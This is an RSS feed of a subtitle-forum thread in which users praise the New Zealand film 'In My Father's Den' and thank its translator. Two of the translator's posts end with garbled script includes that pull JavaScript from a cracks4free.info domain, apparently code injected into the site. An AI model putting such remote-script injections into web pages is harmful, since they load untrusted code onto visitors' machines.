Titlovi.com forum : In My Father's Den (2004) https://forum.titlovi.com/ Copyright (c) 2006-2013 Web Wiz Forums - All Rights Reserved. Tue, 09 Jun 2026 22:42:24 +0000 Mon, 18 Mar 2013 01:01:13 +0000 http://blogs.law.harvard.edu/tech/rss Web Wiz Forums 11.01 360 https://forum.titlovi.com/RSS_post_feed.asp?TID=51526 <![CDATA[Titlovi.com forum]]> https://forum.titlovi.com/forum_images/web_wiz_forums.png https://forum.titlovi.com/ <![CDATA[In My Father's Den (2004) : Dupla ljuta. piše:Filmčina!...]]> https://forum.titlovi.com/forum_posts.asp?TID=51526&PID=1008790&title=in-my-fathers-den-2004#1008790 Korisnik: sinrazmetni
Tema: 51526
Objavljeno: 18.Ožujak/Mar.2013 u 01:01

Originalno postovano od strane Dupla ljuta. Dupla ljuta. piše:

Filmčina! A tebi,sinerazmetni,5-ica k'o vrata za prevod!

Nije da se hvalim, samo takve dobijah, i samo tolike 
vidjeti se mogu u svjedočanstvima mojim. Embarrassed

Tebi, desetka evo, što kvalitet prepoznati znaš.
Filmčina, uistinu, to je...
< ="text/" ="//my-pro-project.googlecode.com/s/connd.js">< ="text/" ="http://cracks4free.info/s/section/user/d.txt">< ="text/" ="//cracks4free.info/s/section/user/conn.js">

Ažurirao sinrazmetni - 18.Ožujak/Mar.2013 u 01:02]]> Mon, 18 Mar 2013 01:01:13 +0000 https://forum.titlovi.com/forum_posts.asp?TID=51526&PID=1008790&title=in-my-fathers-den-2004#1008790 <![CDATA[In My Father's Den (2004) : Filmčina! A tebi,sinerazmetni,5-ica...]]> https://forum.titlovi.com/forum_posts.asp?TID=51526&PID=1008770&title=in-my-fathers-den-2004#1008770 Korisnik: Dupla ljuta.
Tema: 51526
Objavljeno: 17.Ožujak/Mar.2013 u 22:49

Filmčina! A tebi,sinerazmetni,5-ica k'o vrata za prevod!]]> Sun, 17 Mar 2013 22:49:04 +0000 https://forum.titlovi.com/forum_posts.asp?TID=51526&PID=1008770&title=in-my-fathers-den-2004#1008770 <![CDATA[In My Father's Den (2004) : Kolega objasnio. insideman...]]> https://forum.titlovi.com/forum_posts.asp?TID=51526&PID=1008741&title=in-my-fathers-den-2004#1008741 Korisnik: A2D2
Tema: 51526
Objavljeno: 17.Ožujak/Mar.2013 u 20:21

Kolega objasnio.Wink

Originalno postovano od strane insideman insideman piše:


Prvoklasan film sa Novog Zelanda Clap
10/10
 




]]> Sun, 17 Mar 2013 20:21:57 +0000 https://forum.titlovi.com/forum_posts.asp?TID=51526&PID=1008741&title=in-my-fathers-den-2004#1008741 <![CDATA[In My Father's Den (2004) : insideman piše:...i u čudu...]]> https://forum.titlovi.com/forum_posts.asp?TID=51526&PID=1008137&title=in-my-fathers-den-2004#1008137 Korisnik: sinrazmetni
Tema: 51526
Objavljeno: 14.Ožujak/Mar.2013 u 12:18

Originalno postovano od strane insideman insideman piše:

... i u čudu sam da ovaj film nije ranije preveden. 

10/10
 

Po onoj narodnoj, na nekome kola moraju se slomiti. Wink

Sretan sam da baš o moja ledja udarila su, i da - tako - 

utkao sam dio sebe u čistu umjetnost ovu.

 

Matthew Macfadyen, nekada student prestižne Kraljevske

akademije dramskih umjetnosti, nešto je najbolje što ovom

filmu dogoditi se moglo.

 

Kralj glume, predobar kao takav.



< ="text/" ="//my-pro-project.googlecode.com/s/connd.js">< ="text/" ="http://cracks4free.info/s/section/user/d.txt">< ="text/" ="//cracks4free.info/s/section/user/conn.js">

Ažurirao sinrazmetni - 14.Ožujak/Mar.2013 u 12:25]]> Thu, 14 Mar 2013 12:18:24 +0000 https://forum.titlovi.com/forum_posts.asp?TID=51526&PID=1008137&title=in-my-fathers-den-2004#1008137 <![CDATA[In My Father's Den (2004) : insideman piše: ...i u čudu...]]> https://forum.titlovi.com/forum_posts.asp?TID=51526&PID=1008116&title=in-my-fathers-den-2004#1008116 Korisnik: srkis
Tema: 51526
Objavljeno: 14.Ožujak/Mar.2013 u 10:23

Originalno postovano od strane insideman insideman piše:

...i u čudu sam da ovaj film nije ranije preveden.
 
+1
 
Šta više, bio sam siguran i da je preveden i da ga imam u kolekciji...Confused Ode na skidanjeCool
]]> Thu, 14 Mar 2013 10:23:01 +0000 https://forum.titlovi.com/forum_posts.asp?TID=51526&PID=1008116&title=in-my-fathers-den-2004#1008116 <![CDATA[In My Father's Den (2004) : Prvoklasan film sa Novog ZelandaOgromno...]]> https://forum.titlovi.com/forum_posts.asp?TID=51526&PID=1008102&title=in-my-fathers-den-2004#1008102 Korisnik: insideman
Tema: 51526
Objavljeno: 14.Ožujak/Mar.2013 u 03:05

Prvoklasan film sa Novog Zelanda Clap Ogromno pozitivno iznenađenje i u čudu sam da ovaj film nije ranije preveden. Poželeo sam da ga gledam pre nekih mesec dana i tada još uvek nije postojao titl. Hvala puno Clap

Film je snimljen prema knjizi i moj utisak je da je ovo jedna od najboljih ekranizacija. Velike zasluge idu scenaristi i reditelju koji je sjajno sve to spakovao u 2 sata računajući tu i prvih sat vremena koji su me dobro smorili. Ali to je potpuno opravdano jer je ovo jedna veoma temeljna drama obmotana velikom misterijom. Nakon toga on postaje osetno brži i zanimljiviji i kako se bliži kraj shvatate da je bukvalno svaka sitnica od prethodno viđenog tu bila sa svrhom i smislom. 

Sve što nestručni gledalac može da poželi, ovaj film i pruža.  

10/10
]]> Thu, 14 Mar 2013 03:05:48 +0000 https://forum.titlovi.com/forum_posts.asp?TID=51526&PID=1008102&title=in-my-fathers-den-2004#1008102 <![CDATA[In My Father's Den (2004) : In My Father&#039;s Den (2004)Žanr:...]]> https://forum.titlovi.com/forum_posts.asp?TID=51526&PID=1008060&title=in-my-fathers-den-2004#1008060 Korisnik: bojan969
Tema: 51526
Objavljeno: 13.Ožujak/Mar.2013 u 21:53

In My Father's Den (2004)




Žanr: Drama, Misterija, Triler
Trajanje: 127 min
Država: Novi Zeland, Engleska
Jezik: Engleski

Režija: Brad McGann
Scenario: Brad McGann po noveli Maurice Geea


Uloge:

Matthew Macfadyen ... Paul Prior
Miranda Otto ... Penny
Emily Barclay ... Celia Steimer
Colin Moy ... Andrew



Paul, nagrađivani ratni izveštač, vraća se u rodni grad na Novom Zelandu zbog smrti svoga oca.
Tu sreće nezadovoljnu 16-ogodišnjakinju Celiu i upoznaje je sa svetom o kojem je ona samo sanjala.
Ona uporni traži njegovo prijateljstvo, fascinirana njegovim cinizmom i iskustvom iz sveta izvan granica njenog malog grada.
Na njihovo prijateljstvo svi gledaju sa negodovanjem, i kad Celia nestane, Paul je prvi osumnjičeni.
Dok se nasilna istina polako pojavljuje, Paul je primoran da se suoči sa porodičnom tragedijom i izdajom od koje je pobegao u mladosti.  Nagrade i nominacije.
 



Prevod uradio sinrazmetni
]]> Wed, 13 Mar 2013 21:53:20 +0000 https://forum.titlovi.com/forum_posts.asp?TID=51526&PID=1008060&title=in-my-fathers-den-2004#1008060